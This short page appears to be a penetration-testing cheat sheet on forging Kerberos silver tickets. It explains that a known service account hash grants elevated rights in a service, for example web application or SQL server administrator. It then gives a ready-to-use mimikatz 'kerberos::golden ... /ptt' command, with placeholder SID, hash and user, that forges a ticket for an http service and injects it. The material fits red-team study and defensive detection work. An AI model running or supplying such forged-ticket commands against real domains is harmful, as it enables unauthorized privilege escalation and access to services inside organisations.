Kerberos Silver Tickets

Silver tickets allow you privilege escalation in context of a service, given that you know a service account hash.


You get elevated Permissions in the Web Application.


You can become sql server administrator

Many others are described here:

Create Silver Ticket:

Requirements: Domain SID (Get-ADDomain) & Service Account Hash

kerberos::golden /sid:S-1-5-21-xxxxxxxxx-xxxxxxxxx-xxxxxxxxx/domain:test.local /ptt /id:1337 /target:web.test.local /service:http /rc4:... /user:xctadmin

Last updated